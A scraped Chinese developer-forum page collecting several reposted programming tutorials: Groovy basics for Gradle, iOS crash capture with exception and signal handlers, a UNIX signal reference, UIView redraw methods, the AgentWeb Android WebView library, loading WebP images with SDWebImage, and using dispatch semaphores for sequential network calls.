其特性主要有如下 三种:



  • 1)、语法上支持动态类型,闭包等新一代语言特性。并且,Groovy 语言的闭包比其它所有语言类型的闭包都要强大。

  • 2)、它可以无缝集成所有已经存在的 Java 类库,因为它是基于 JVM 的。

  • 3)、它即可以支持面向对象编程(基于 Java 的扩展),也可以支持面向过程编程(基于众多脚本语言的结合)。


需要注意的是,在我们使用 Groovy 进行 Gradle 脚本编写的时候,都是使用的面向过程进行编程的


3、Groovy 的优势


Groovy 的优势有如下 四种:



  • 1)、它是一种更加敏捷的编程语言:在语法上构建除了非常多的语法糖,许多在 Java 层需要写的代码,在 Groovy 中是可以省略的。因此,我们可以用更少的代码实现更多的功能。

  • 2)、入门简单,但功能非常强大。

  • 3)、既可以作为编程语言也可以作为脚本语言

  • 4)、熟悉掌握 Java 的同学会非常容易掌握 Groovy。


4、Groovy 包的结构



Groovy 官方网址



从官网下载好 Groovy 文件之后,我们就可以看到 Groovy 的目录结构,其中我们需要 重点关注 bin 和 doc 这个两个文件夹


bin 文件夹


bin 文件夹的中我们需要了解下三个重要的可执行命令文件,如下所示:



  • 1)、groovy 命令类似于 Java 中的 java 命令,用于执行 groovy Class 字节码文件。

  • 2)、groovyc 命令类似于 Java 中的 javac 命令,用于将 groovy 源文件编译成 groovy 字节码文件。

  • 3)、groovysh 命令是用来解释执行 groovy 脚本文件的。


doc 文件夹


doc 文件夹的下面有一个 html 文件,其中的 api 和 documentation 是我们需要重点关注的,其作用分别如下所示:



  • api:groovy 中为我们提供的一系列 API 及其 说明文档。

  • documentation:groovy 官方为我们提供的一些教程。


5、Groovy 中的关键字


下面是 Groovy 中所有的关键字,命名时尤其需要注意,如下所示:


as、assert、break、case、catch、class、const、continue、def、default、
do、else、enum、extends、false、finally、for、goto、if、implements、
import、in、instanceof、interface、new、null、package、return、super、
switch、this、throw、throws、trait、true、try、while
复制代码

6、Groovy && Java 差异学习


1)、getter / setter


对于每一个 field,Groovy 都会⾃动创建其与之对应的 getter 与 setter 方法,从外部可以直接调用它,并且 在使⽤ object.fieldA 来获取值或者使用 object.fieldA = value 来赋值的时候,实际上会自动转而调⽤ object.getFieldA() 和 object.setFieldA(value) 方法


如果我们不想调用这个特殊的 getter 方法时则可以使用 .@ 直接域访问操作符


2)、除了每行代码不用加分号外,Groovy 中函数调用的时候还可以不加括号。


需要注意的是,我们在使用的时候,如果当前这个函数是 Groovy API 或者 Gradle
API 中比较常用的,比如 println,就可以不带括号。否则还是带括号。不然,Groovy 可能会把属性和函数调用混淆


3)、Groovy 语句可以不用分号结尾。


4)、函数定义时,参数的类型也可以不指定。


5)、Groovy 中函数的返回值也可以是无类型的,并且无返回类型的函数,其内部都是按返回 Object 类型来处理的。


6)、当前函数如果没有使用 return 关键字返回值,则会默认返回 null,但此时必须使用 def 关键字。


7)、在 Groovy 中,所有的 Class 类型,都可以省略 .class。


8)、在 Groovy 中,== 相当于 Java 的 equals,,如果需要比较两个对象是否是同一个,需要使用 .is()。


9)、Groovy 非运算符如下:


assert (!"android") == false                      
复制代码

10)、Groovy 支持 ** 次方运算符,代码如下所示:


assert  2 ** 3 == 8
复制代码

11)、判断是否为真可以更简洁:


    if (android) {}
复制代码

12)、三元表达式可以更加简洁:


// 省略了name
def result = name ?: "Unknown"
复制代码

13)、简洁的非空判断


println order?.customer?.address
复制代码

14)、使用 assert 来设置断言,当断言的条件为 false 时,程序将会抛出异常。


15)、可以使用 Number 类去替代 float、double 等类型,省去考虑精度的麻烦。


16)、switch 方法可以同时支持更多的参数类型。


注意,swctch 可以匹配列表当中任一元素,示例代码如下所示:


// 输出 ok
def num = 5.21
switch (num) {
case [5.21, 4, "list"]:
return "ok"
break
default:
break
}

作者:jsonchao
链接:https://juejin.cn/post/6844904128594853902
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

iOS你需要知道的事--Crash分析

Crash ,,CrashlyticsHockeyapp友盟Bugly 等等但是,所有的但是,这不够!因为我们不再是一个简单会用的iOS开发人员,必将走向底层,了解原理,掌握装逼内容和技巧是我们的必修课首先我们来了解一下Crash的底层原理...
继续阅读 »
大家平时在开发过程中,经常会遇到Crash,那也是在正常不过的事,但是作为一个优秀的iOS开发人员,必将这些用户不良体验降到最低。

线下Crash,我们直接可以调试,结合stack信息,不难定位!
线上Crash当然也有一些信息,毕竟苹果爸爸的产品还是做得非常不错的!


通过iPhone的Crash log也可以分析一些,但是这个是需要用户配合的,因为需要用户在手机 中 设置-> 诊断与用量->勾选 自动发送 ,然后在xcode中 Window->Organizer->Crashes 对应的app,就是当前app最新一版本的crash log ,并且是解析过的,可以根据crash 栈 等相关信息 ,尤其是程序代码级别的 有超链接,一键可以直接跳转到程序崩溃的相关代码,这样更容易定位bug出处.

为了能够第一时间发现程序问题,应用程序需要实现自己的崩溃日志收集服务,成熟的开源项目很多,如  KSCrashplcrashreporterCrashKit 等。追求方便省心,对于保密性要求不高的程序来说,也可以选择各种一条龙Crash统计产品,如 CrashlyticsHockeyapp ,友盟Bugly 等等

但是,所有的但是,这不够!因为我们不再是一个简单会用的iOS开发人员,必将走向底层,了解原理,掌握装逼内容和技巧是我们的必修课

首先我们来了解一下Crash的底层原理

iOS系统自带的 Apple’s Crash Reporter记录在设备中的Crash日志,Exception Type项通常会包含两个元素:Mach异常和 Unix信号。

Exception Type:         EXC_BAD_ACCESS (SIGSEGV)    
Exception Subtype: KERN_INVALID_ADDRESS at 0x041a6f3

Mach异常是什么?它又是如何与Unix信号建立联系的?

Mach是一个XNU的微内核核心,Mach异常是指最底层的内核级异常,被定义在下 。每个thread,task,host都有一个异常端口数组,Mach的部分API暴露给了用户态,用户态的开发者可以直接通过Mach API设置thread,task,host的异常端口,来捕获Mach异常,抓取Crash事件。

所有Mach异常都在host层被ux_exception转换为相应的Unix信号,并通过threadsignal将信号投递到出错的线程。iOS中的 POSIX API就是通过Mach之上的 BSD层实现的。


因此,EXC_BAD_ACCESS (SIGSEGV)表示的意思是:Mach层的EXC_BAD_ACCESS异常,在host层被转换成SIGSEGV信号投递到出错的线程。

iOS的异常Crash
* KVO问题
* NSNotification线程问题
* 数组越界
* 野指针
* 后台任务超时
* 内存爆出
* 主线程卡顿超阀值
* 死锁
....

下面我就拿出最常见的两种Crash分析一下



Crash分析处理

上面我们也知道:既然最终以信号的方式投递到出错的线程,那么就可以通过注册相应函数来捕获信号.达到Hook的效果

+ (void)installUncaughtSignalExceptionHandler{
NSSetUncaughtExceptionHandler(&LGExceptionHandlers);
signal(SIGABRT, LGSignalHandler);
}

我们从上面的函数可以Hook到信息,下面我们开始进行包装处理.这里还是面向统一封装,因为等会我们还需要考虑Signal

void LGExceptionHandlers(NSException *exception) {
NSLog(@"%s",__func__);

NSArray *callStack = [LGUncaughtExceptionHandle lg_backtrace];
NSMutableDictionary *mDict = [NSMutableDictionary dictionaryWithDictionary:exception.userInfo];
[mDict setObject:callStack forKey:LGUncaughtExceptionHandlerAddressesKey];
[mDict setObject:exception.callStackSymbols forKey:LGUncaughtExceptionHandlerCallStackSymbolsKey];
[mDict setObject:@"LGException" forKey:LGUncaughtExceptionHandlerFileKey];

// exception - myException

[[[LGUncaughtExceptionHandle alloc] init] performSelectorOnMainThread:@selector(lg_handleException:) withObject:[NSException exceptionWithName:[exception name] reason:[exception reason] userInfo:mDict] waitUntilDone:YES];
}

下面针对封装好的myException进行处理,在这里要做两件事

1.存储,上传:方便开发人员检查修复

2.处理Crash奔溃,我们也不能眼睁睁看着BUG闪退在用户的手机上面,希望“起死回生,回光返照”

- (void)lg_handleException:(NSException *)exception{
// crash 处理
// 存
NSDictionary *userInfo = [exception userInfo];
[self saveCrash:exception file:[userInfo objectForKey:LGUncaughtExceptionHandlerFileKey]];
}

下面是一些封装的一些辅助函数

保存奔溃信息或者上传:针对封装数据本地存储,和相应上传服务器

- (void)saveCrash:(NSException *)exception file:(NSString *)file{

NSArray *stackArray = [[exception userInfo] objectForKey:LGUncaughtExceptionHandlerCallStackSymbolsKey];// 异常的堆栈信息
NSString *reason = [exception reason];// 出现异常的原因
NSString *name = [exception name];// 异常名称

// 或者直接用代码,输入这个崩溃信息,以便在console中进一步分析错误原因
// NSLog(@"crash: %@", exception);

NSString * _libPath = [[NSSearchPathForDirectoriesInDomains(NSCachesDirectory, NSUserDomainMask, YES) objectAtIndex:0] stringByAppendingPathComponent:file];

if (![[NSFileManager defaultManager] fileExistsAtPath:_libPath]){
[[NSFileManager defaultManager] createDirectoryAtPath:_libPath withIntermediateDirectories:YES attributes:nil error:nil];
}

NSDate *dat = [NSDate dateWithTimeIntervalSinceNow:0];
NSTimeInterval a=[dat timeIntervalSince1970];
NSString *timeString = [NSString stringWithFormat:@"%f", a];

NSString * savePath = [_libPath stringByAppendingFormat:@"/error%@.log",timeString];

NSString *exceptionInfo = [NSString stringWithFormat:@"Exception reason:%@\nException name:%@\nException stack:%@",name, reason, stackArray];

BOOL sucess = [exceptionInfo writeToFile:savePath atomically:YES encoding:NSUTF8StringEncoding error:nil];

NSLog(@"保存崩溃日志 sucess:%d,%@",sucess,savePath);
}

获取函数堆栈信息,这里可以获取响应调用堆栈的符号信息,通过数组回传

+ (NSArray *)lg_backtrace{

void* callstack[128];
int frames = backtrace(callstack, 128);//用于获取当前线程的函数调用堆栈,返回实际获取的指针个数
char **strs = backtrace_symbols(callstack, frames);//从backtrace函数获取的信息转化为一个字符串数组
int i;
NSMutableArray *backtrace = [NSMutableArray arrayWithCapacity:frames];
for (i = LGUncaughtExceptionHandlerSkipAddressCount;
i < LGUncaughtExceptionHandlerSkipAddressCount+LGUncaughtExceptionHandlerReportAddressCount;
i++)
{
[backtrace addObject:[NSString stringWithUTF8String:strs[i]]];
}
free(strs);
return backtrace;
}

获取应用信息,这个函数提供给Siganl数据封装

NSString *getAppInfo(){
NSString *appInfo = [NSString stringWithFormat:@"App : %@ %@(%@)\nDevice : %@\nOS Version : %@ %@\n",
[[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleDisplayName"],
[[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleShortVersionString"],
[[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleVersion"],
[UIDevice currentDevice].model,
[UIDevice currentDevice].systemName,
[UIDevice currentDevice].systemVersion];
// [UIDevice currentDevice].uniqueIdentifier];
NSLog(@"Crash!!!! %@", appInfo);
return appInfo;
}

做完这些准备,你可以非常清晰的看到程序奔溃,哈哈哈!(好像以前奔溃还不清晰似的),这里说一下:我的意思你非常清晰的知道奔溃之前做了一些什么!
下面是检测我们奔溃之前的沙盒存储的信息:error.log


下面我们来一个骚操作:在监听的信息的时候来了一个Runloop,我们监听所有的mode,开启循环

(一个相对于我们应用程序自启的Runloop的平行空间).

SCLAlertView *alert = [[SCLAlertView alloc] initWithNewWindowWidth:300.0f];
[alert addButton:@"奔溃" actionBlock:^{
self.dismissed = YES;
}];
[alert showSuccess:exception.name subTitle:exception.reason closeButtonTitle:nil duration:0];
// 本次异常处理
CFRunLoopRef runloop = CFRunLoopGetCurrent();
CFArrayRef allMode = CFRunLoopCopyAllModes(runloop);
while (!self.dismissed) {
// machO
// 后台更新 - log
// kill
//
for (NSString *mode in (__bridge NSArray *)allMode) {
CFRunLoopRunInMode((CFStringRef)mode, 0.0001, false);
}
}

CFRelease(allMode);

在这个平行空间我们开启一个弹框,这个弹框,跟着我们的应用程序保活,并且具备相应的响应能力,到目前为止:此时此刻还有谁!这不就是回光返照?只要我们的条件成立,那么在相应的这个平行空间继续做一些我们的工作,程序不死:what is dead may never die,but rises again harder and stronger


signal 函数拦截不到的解决方式

在debug模式下,如果你触发了崩溃,那么应用会直接崩溃到主函数,断点都没用,此时没有任何log信息显示出来,如果你想看log信息的话,你需要在lldb中,拿SIGABRT来说吧,敲入pro hand -p true -s false SIGABRT命令,不然你啥也看不到。


然后断开断点,程序进入监听,下面剩下的操作就是包装异常,操作类似Exception


最后我们需要注意的针对我们的监听回收相应内存:

NSSetUncaughtExceptionHandler(NULL);
signal(SIGABRT, SIG_DFL);
signal(SIGILL, SIG_DFL);
signal(SIGSEGV, SIG_DFL);
signal(SIGFPE, SIG_DFL);
signal(SIGBUS, SIG_DFL);
signal(SIGPIPE, SIG_DFL);

if ([[exception name] isEqual:UncaughtExceptionHandlerSignalExceptionName])
{
kill(getpid(), [[[exception userInfo] objectForKey:UncaughtExceptionHandlerSignalKey] intValue]);
}
else
{
[exception raise];
}

到目前为止,我们响应的Crash处理已经入门,如果你还想继续探索也是有很多地方比如:

我们能否hook系统奔溃,异常的方法NSSetUncaughtExceptionHandler,已达到拒绝传递 UncaughtExceptionHandler的效果

我们在处理异常的时候,利用Runloop回光返照,有没有更加合适的方法

Runloop回光返照我们怎么继续保证应用程序稳定执行


摘自作者:Cooci_和谐学习_不急不躁
原贴链接:https://www.jianshu.com/p/56f96167a6e9

收起阅读 »

iOS-UIView常用的setNeedsDisplay和setNeedsLayout

UIView的setNeedsDisplay和setNeedsLayout方法      首先两个方法都是异步执行的。而setNeedsDisplay会调用自动调用drawRect方法,这样可以拿到 UIGraphics...
继续阅读 »
  • UIView的setNeedsDisplay和setNeedsLayout方法
      首先两个方法都是异步执行的。而setNeedsDisplay会调用自动调用drawRect方法,这样可以拿到 UIGraphicsGetCurrentContext,就可以画画了。而setNeedsLayout会默认调用layoutSubViews,就可以 处理子视图中的一些数据。综上所诉,setNeedsDisplay方便绘图,而    layoutSubViews方便出来数据。
  • layoutSubviews在以下情况下会被调用:

1、init初始化不会触发layoutSubviews。
2、addSubview会触发layoutSubviews。
3、设置view的Frame会触发layoutSubviews,当然前提是frame的值设置前后发生了变化。
4、滚动一个UIScrollView会触发layoutSubviews。
5、旋转Screen会触发父UIView上的layoutSubviews事件。
6、改变一个UIView大小的时候也会触发父UIView上的layoutSubviews事件。
7、直接调用setLayoutSubviews。
  • drawRect在以下情况下会被调用:

1、如果在UIView初始化时没有设置rect大小,将直接导致drawRect不被自动调用。drawRect调用是在Controller->loadView, Controller->viewDidLoad 两方法之后掉用的.所以不用担心在控制器中,这些View的drawRect就开始画了.这样可以在控制器中设置一些值给View(如果这些View draw的时候需要用到某些变量值).
2、该方法在调用sizeToFit后被调用,所以可以先调用sizeToFit计算出size。然后系统自动调用drawRect:方法。
3、通过设置contentMode属性值为UIViewContentModeRedraw。那么将在每次设置或更改frame的时候自动调用drawRect:。
4、直接调用setNeedsDisplay,或者setNeedsDisplayInRect:触发drawRect:,但是有个前提条件是rect不能为0。
以上1,2推荐;而3,4不提倡
  • drawRect方法使用注意点:

1、若使用UIView绘图,只能在drawRect:方法中获取相应的contextRef并绘图。如果在其他方法中获取将获取到一个invalidate的ref并且不能用于画图。drawRect:方法不能手动显示调用,必须通过调用setNeedsDisplay 或者 setNeedsDisplayInRect,让系统自动调该方法。
2、若使用CAlayer绘图,只能在drawInContext: 中(类似于drawRect)绘制,或者在delegate中的相应方法绘制。同样也是调用setNeedDisplay等间接调用以上方法
3、若要实时画图,不能使用gestureRecognizer,只能使用touchbegan等方法来掉用setNeedsDisplay实时刷新屏幕

链接:https://www.jianshu.com/p/33a28bb14749

收起阅读 »

高度封装的 WebView-AgentWeb

AgentWeb 介绍AgentWeb 是一个基于的 Android WebView ,极度容易使用以及功能强大的库,提供了 Android WebView 一系列的问题解决方案 ,并且轻量和极度灵活,体验请下载的agentweb.apk,或者你也可以到 Go...
继续阅读 »

AgentWeb 介绍

AgentWeb 是一个基于的 Android WebView ,极度容易使用以及功能强大的库,提供了 Android WebView 一系列的问题解决方案 ,并且轻量和极度灵活,体验请下载的
agentweb.apk
或者你也可以到 Google Play 里面下载 AgentWeb
详细使用请参照上面的 Sample 。

引入

  • Gradle

     implementation 'com.just.agentweb4.1.4' // (必选)
    implementation 'com.just.agentweb4.1.4'// (可选)
    implementation 'com.download.library4.1.4'// (可选)
  • androidx

     implementation 'com.just.agentweb4.1.4' // (必选)
    implementation 'com.just.agentweb4.1.4'// (可选)
    implementation 'com.download.library4.1.4'// (可选


  • 调用 Javascript 方法拼接太麻烦 ? 请看 。

function callByAndroid(){
console.log("callByAndroid")
}
mAgentWeb.getJsAccessEntrace().quickCallJs("callByAndroid");
  • Javascript 调 Java ?

mAgentWeb.getJsInterfaceHolder().addJavaObject("android",new AndroidInterface(mAgentWeb,this));
window.android.callAndroid();
  • 事件处理

    @Override
public boolean onKeyDown(int keyCode, KeyEvent event) {

if (mAgentWeb.handleKeyEvent(keyCode, event)) {
return true;
}
return super.onKeyDown(keyCode, event);
}
  • 跟随 Activity Or Fragment 生命周期 , 释放 CPU 更省电 。

    @Override
protected void onPause() {
mAgentWeb.getWebLifeCycle().onPause();
super.onPause();

}

@Override
protected void onResume() {
mAgentWeb.getWebLifeCycle().onResume();
super.onResume();
}
@Override
public void onDestroyView() {
mAgentWeb.getWebLifeCycle().onDestroy();
super.onDestroyView();
}
  • 全屏视频播放


android:hardwareAccelerated="true"
android:configChanges="orientation|screenSize"
  • 定位


<!--AgentWeb 是默认允许定位的 ,如果你需要该功能 , 请在你的 AndroidManifest 文件里面加入如下权限 。-->
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
  • WebChromeClient 与 WebViewClient

AgentWeb.with(this)
.setAgentWebParent(mLinearLayout,new LinearLayout.LayoutParams(-1,-1) )
.useDefaultIndicator()
.setReceivedTitleCallback(mCallback)
.setWebChromeClient(mWebChromeClient)
.setWebViewClient(mWebViewClient)
.setSecutityType(AgentWeb.SecurityType.strict)
.createAgentWeb()
.ready()
.go(getUrl());
private WebViewClient mWebViewClient=new WebViewClient(){
@Override
public void onPageStarted(WebView view, String url, Bitmap favicon) {
//do you work
}
};
private WebChromeClient mWebChromeClient=new WebChromeClient(){
@Override
public void onProgressChanged(WebView view, int newProgress) {
//do you work
}
};
  • 返回上一页

if (!mAgentWeb.back()){
AgentWebFragment.this.getActivity().finish();
}
  • 获取 WebView

	mAgentWeb.getWebCreator().getWebView();
  • 查看 Cookies

String cookies=AgentWebConfig.getCookiesByUrl(targetUrl);
  • 同步 Cookie

AgentWebConfig.syncCookie("http://www.jd.com","ID=XXXX");
  • MiddlewareWebChromeBase 支持多个 WebChromeClient

//略,请查看 Sample
  • MiddlewareWebClientBase 支持多个 WebViewClient

//略,请查看 Sample
  • 清空缓存

AgentWebConfig.clearDiskCache(this.getContext());
  • 权限拦截

protected PermissionInterceptor mPermissionInterceptor = new PermissionInterceptor() {

@Override
public boolean intercept(String url, String[] permissions, String action) {
Log.i(TAG, "url:" + url + " permission:" + permissions + " action:" + action);
return false;
}
};
  • AgentWeb 完整用法

 //略,请查看 Sample
  • AgentWeb 所需要的权限(在你工程中根据需求选择加入权限)

    <uses-permission android:name="android.permission.INTERNET"></uses-permission>

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"></uses-permission>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"></uses-permission>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"></uses-permission>
<uses-permission android:name="android.permission.CAMERA"></uses-permission>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"></uses-permission>


  • AgentWeb 所依赖的库

    compile "com.android.support:design:${SUPPORT_LIB_VERSION}" // (3.0.0开始该库可选)
compile "com.android.support:support-v4:${SUPPORT_LIB_VERSION}"
SUPPORT_LIB_VERSION=27.0.2(该值会更新)

混淆

如果你的项目需要加入混淆 , 请加入如下配置

-keep class com.just.agentweb.** {
*;
}
-dontwarn com.just.agentweb.**

Java 注入类不要混淆 , 例如 sample 里面的 AndroidInterface 类 , 需要 Keep 。

-keepclassmembers class com.just.agentweb.sample.common.AndroidInterface{ *; }

注意事项

  • 支付宝使用需要引入支付宝SDK ,并在项目中依赖 , 微信支付不需要做任何操作。
  • AgentWeb 内部使用了 AlertDialog 需要依赖 AppCompat 主题 。
  • setAgentWebParent 不支持 ConstraintLayout 。
  • mAgentWeb.getWebLifeCycle().onPause();会暂停应用内所有WebView 。
  • minSdkVersion 低于等于16以下自定义WebView请注意与 JS 之间通信安全。
  • AgentWeb v3.0.0以上版本更新了包名,混淆的朋友们,请更新你的混淆配置。
  • 多进程无法取消下载,解决方案

代码下载:AgentWeb-master.zip

原文链接:https://github.com/Justson/AgentWeb



收起阅读 »

iOS Crash分析中的Signal

下面是一些信号说明1.SIGHUP本信号在用户终端连接(正常或非正常)结束时发出, 通常是在终端的控制进程结束时, 通知同一session内的各个作业, 这时它们与控制终端不再关联。登录Linux时,系统会分配给登录用户一个终端(Session)。在这个终端运...
继续阅读 »

下面是一些信号说明

1.SIGHUP

本信号在用户终端连接(正常或非正常)结束时发出, 通常是在终端的控制进程结束时, 通知同一session内的各个作业, 这时它们与控制终端不再关联。
登录Linux时,系统会分配给登录用户一个终端(Session)。在这个终端运行的所有程序,包括前台进程组和后台进程组,一般都属于这个 Session。当用户退出Linux登录时,前台进程组和后台有对终端输出的进程将会收到SIGHUP信号。这个信号的默认操作为终止进程,因此前台进 程组和后台有终端输出的进程就会中止。不过可以捕获这个信号,比如wget能捕获SIGHUP信号,并忽略它,这样就算退出了Linux登录, wget也 能继续下载。
此外,对于与终端脱离关系的守护进程,这个信号用于通知它重新读取配置文件。

2.SIGINT

程序终止(interrupt)信号, 在用户键入INTR字符(通常是Ctrl-C)时发出,用于通知前台进程组终止进程。

3.SIGQUIT

和SIGINT类似, 但由QUIT字符(通常是Ctrl-)来控制. 进程在因收到SIGQUIT退出时会产生core文件, 在这个意义上类似于一个程序错误信号。

4.SIGILL

执行了非法指令. 通常是因为可执行文件本身出现错误, 或者试图执行数据段. 堆栈溢出时也有可能产生这个信号。

5.SIGTRAP

由断点指令或其它trap指令产生. 由debugger使用。

6.SIGABRT

调用abort函数生成的信号。

7.SIGBUS

非法地址, 包括内存地址对齐(alignment)出错。比如访问一个四个字长的整数, 但其地址不是4的倍数。它与SIGSEGV的区别在于后者是由于对合法存储地址的非法访问触发的(如访问不属于自己存储空间或只读存储空间)。

8.SIGFPE

在发生致命的算术运算错误时发出. 不仅包括浮点运算错误, 还包括溢出及除数为0等其它所有的算术的错误。

9.SIGKILL

用来立即结束程序的运行. 本信号不能被阻塞、处理和忽略。如果管理员发现某个进程终止不了,可尝试发送这个信号。

10.SIGUSR1

留给用户使用

11.SIGSEGV

试图访问未分配给自己的内存, 或试图往没有写权限的内存地址写数据.

12.SIGUSR2

留给用户使用

13.SIGPIPE

管道破裂。这个信号通常在进程间通信产生,比如采用FIFO(管道)通信的两个进程,读管道没打开或者意外终止就往管道写,写进程会收到SIGPIPE信号。此外用Socket通信的两个进程,写进程在写Socket的时候,读进程已经终止。

14.SIGALRM

时钟定时信号, 计算的是实际的时间或时钟时间. alarm函数使用该信号.

15.SIGTERM

程序结束(terminate)信号, 与SIGKILL不同的是该信号可以被阻塞和处理。通常用来要求程序自己正常退出,shell命令kill缺省产生这个信号。如果进程终止不了,我们才会尝试SIGKILL。

16.SIGCHLD

子进程结束时, 父进程会收到这个信号。
如果父进程没有处理这个信号,也没有等待(wait)子进程,子进程虽然终止,但是还会在内核进程表中占有表项,这时的子进程称为僵尸进程。这种情 况我们应该避免(父进程或者忽略SIGCHILD信号,或者捕捉它,或者wait它派生的子进程,或者父进程先终止,这时子进程的终止自动由init进程 来接管)。

17.SIGCONT

让一个停止(stopped)的进程继续执行. 本信号不能被阻塞. 可以用一个handler来让程序在由stopped状态变为继续执行时完成特定的工作. 例如, 重新显示提示符

18.SIGSTOP

停止(stopped)进程的执行. 注意它和terminate以及interrupt的区别:该进程还未结束, 只是暂停执行. 本信号不能被阻塞, 处理或忽略.

19.SIGTSTP

停止进程的运行, 但该信号可以被处理和忽略. 用户键入SUSP字符时(通常是Ctrl-Z)发出这个信号

20.SIGTTIN

当后台作业要从用户终端读数据时, 该作业中的所有进程会收到SIGTTIN信号. 缺省时这些进程会停止执行.

21.SIGTTOU

类似于SIGTTIN, 但在写终端(或修改终端模式)时收到.

22.SIGURG

有”紧急”数据或out-of-band数据到达socket时产生.

23.SIGXCPU

超过CPU时间资源限制. 这个限制可以由getrlimit/setrlimit来读取/改变。

24.SIGXFSZ

当进程企图扩大文件以至于超过文件大小资源限制。

25.SIGVTALRM

虚拟时钟信号. 类似于SIGALRM, 但是计算的是该进程占用的CPU时间.

26.SIGPROF

类似于SIGALRM/SIGVTALRM, 但包括该进程用的CPU时间以及系统调用的时间.

27.SIGWINCH

窗口大小改变时发出.

28.SIGIO

文件描述符准备就绪, 可以开始进行输入/输出操作.

SIGPWR
Power failure
SIGSYS

非法的系统调用。


关键点注意

在以上列出的信号中,程序不可捕获、阻塞或忽略的信号有:

SIGKILL,SIGSTOP

不能恢复至默认动作的信号有:

SIGILL,SIGTRAP

默认会导致进程流产的信号有:

SIGABRT,SIGBUS,SIGFPE,SIGILL,SIGIOT,SIGQUIT,SIGSEGV,SIGTRAP,SIGXCPU,SIGXFSZ

默认会导致进程退出的信号有:

SIGALRM,SIGHUP,SIGINT,SIGKILL,SIGPIPE,SIGPOLL,SIGPROF,SIGSYS,SIGTERM,SIGUSR1,SIGUSR2,SIGVTALRM

默认会导致进程停止的信号有:

SIGSTOP,SIGTSTP,SIGTTIN,SIGTTOU

默认进程忽略的信号有:

SIGCHLD,SIGPWR,SIGURG,SIGWINCH

此外,SIGIO在SVR4是退出,在4.3BSD中是忽略;SIGCONT在进程挂起时是继续,否则是忽略,不能被阻塞。


摘自作者:Cooci_和谐学习_不急不躁

原贴链接:https://www.jianshu.com/p/3a9dc6bd5e58

收起阅读 »

iOS——SDWebImage加载WebP图片

1.确定第三方库首先直接去SDWebImage的仓库,里面直接就有关于WebP的仓库地址也就是SDWebImageWebPCoder,直接pod 'SDWebImageWebPCoder'就行。(如果项目里没有SDWebImage,需要pod 'SDWebIm...
继续阅读 »

1.确定第三方库

首先直接去SDWebImage的仓库,里面直接就有关于WebP的仓库地址



也就是SDWebImageWebPCoder,直接pod 'SDWebImageWebPCoder'就行。(如果项目里没有SDWebImage,需要pod 'SDWebImage')

这里要注意!!!是pod 'SDWebImageWebPCoder'

我搜索SDWebImage加载WebP,权重高的答案都是pod 'SDWebImage/WebP',但是这个仓库我在SDWebImage的repositories里搜索不到,也就是说没有这个仓库,结果如图。


猜测可能之前的旧仓库是这个名字,那些文章也一直没更新,但是权重又高,不免误人子弟了一番。

2.导入SDWebImageWebPCoder

大概率会在pod install时报错,因为libwebp这个仓库的地址连接不上。

1、在终端输入pod repo 查看 cocoapods 在本机的PATH,每个人的路径都可能不一样


2、复制trunk的path,command + shift + G 输入上一步的地址,依次点击Specs-->1-->9-->2-->libwebp。(这里要注意有可能你的路径是cocoapods的path)

3、选择报错的版本打开,将source下git地址更改为

https://github.com/webmproject/libwebp.git


4、pod install(如果还报一样的错,那么是第2步出了问题,去另一个路径改source-git的地址即可)

3.使用SDWebImageWebPCoder

SDImageWebPCoder *webPCoder = [SDImageWebPCoder sharedCoder];
[[SDImageCodersManager sharedManager] addCoder:webPCoder];

NSData *webpData;
UIImage *wimage = [[SDImageWebPCoder sharedCoder] decodedImageWithData:webpData options:nil];
NSData *webpData;
[UIImage sd_imageWithWebPData:webpData];

经测试以上两种写法都能成功加载webp图片

转自:https://www.jianshu.com/p/74fab9c7de77

收起阅读 »

iOS dispatch_semaphore信号量的使用(for循环请求网络时,使用信号量导致死锁)

有的时候我们会遇到这样的需求:循环请求网络,但是在循环的过程中,必须上一个网络回调完成后才能请求下一个网络即进行下一个循环,也就是所谓的多个异步网络做同步请求,首先想到的就是用信号量拦截,但是发现AFNetWorking配合信号量使用时,网络不回调了,是什么原...
继续阅读 »

有的时候我们会遇到这样的需求:
循环请求网络,但是在循环的过程中,必须上一个网络回调完成后才能请求下一个网络即进行下一个循环,也就是所谓的多个异步网络做同步请求,首先想到的就是用信号量拦截,但是发现AFNetWorking配合信号量使用时,网络不回调了,是什么原因引起的网络无法回调。下面我们模拟下正常使用过程并分析,如下:

-(void)semaphoreTest{

dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);

for (int i = 0; i<10; i++) {
[self semaphoreTestBlock:^(NSString *TNT) {
NSLog(@"任务完成 %d",i);
dispatch_semaphore_signal(semaphore);
}];

dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
NSLog(@"信号量限制 %d",i);
}
}

//这里用延迟模拟异步网络请求
-(void)semaphoreTestBlock:(void(^)(NSString * TNT))block{
/*
queue 的类型无论是串行队列还是并行队列并不影响最终结果
如果 queue = dispatch_get_main_queue() 将会堵塞组线程,造成死锁
*/
dispatch_queue_t queue = dispatch_queue_create("myqueue",DISPATCH_QUEUE_SERIAL);

dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(1 * NSEC_PER_SEC)), queue, ^{
block(@"完成");
});
}

这段代码的输出结果为:

2019-10-11 14:40:23.961328+0800 LJC[9013:1358198] 任务完成 0
2019-10-11 14:40:23.961751+0800 LJC[9013:1356826] 信号量限制 0
2019-10-11 14:40:25.061312+0800 LJC[9013:1358198] 任务完成 1
2019-10-11 14:40:25.061673+0800 LJC[9013:1356826] 信号量限制 1
2019-10-11 14:40:26.062082+0800 LJC[9013:1356931] 任务完成 2
2019-10-11 14:40:26.062381+0800 LJC[9013:1356826] 信号量限制 2
2019-10-11 14:40:27.062883+0800 LJC[9013:1356931] 任务完成 3
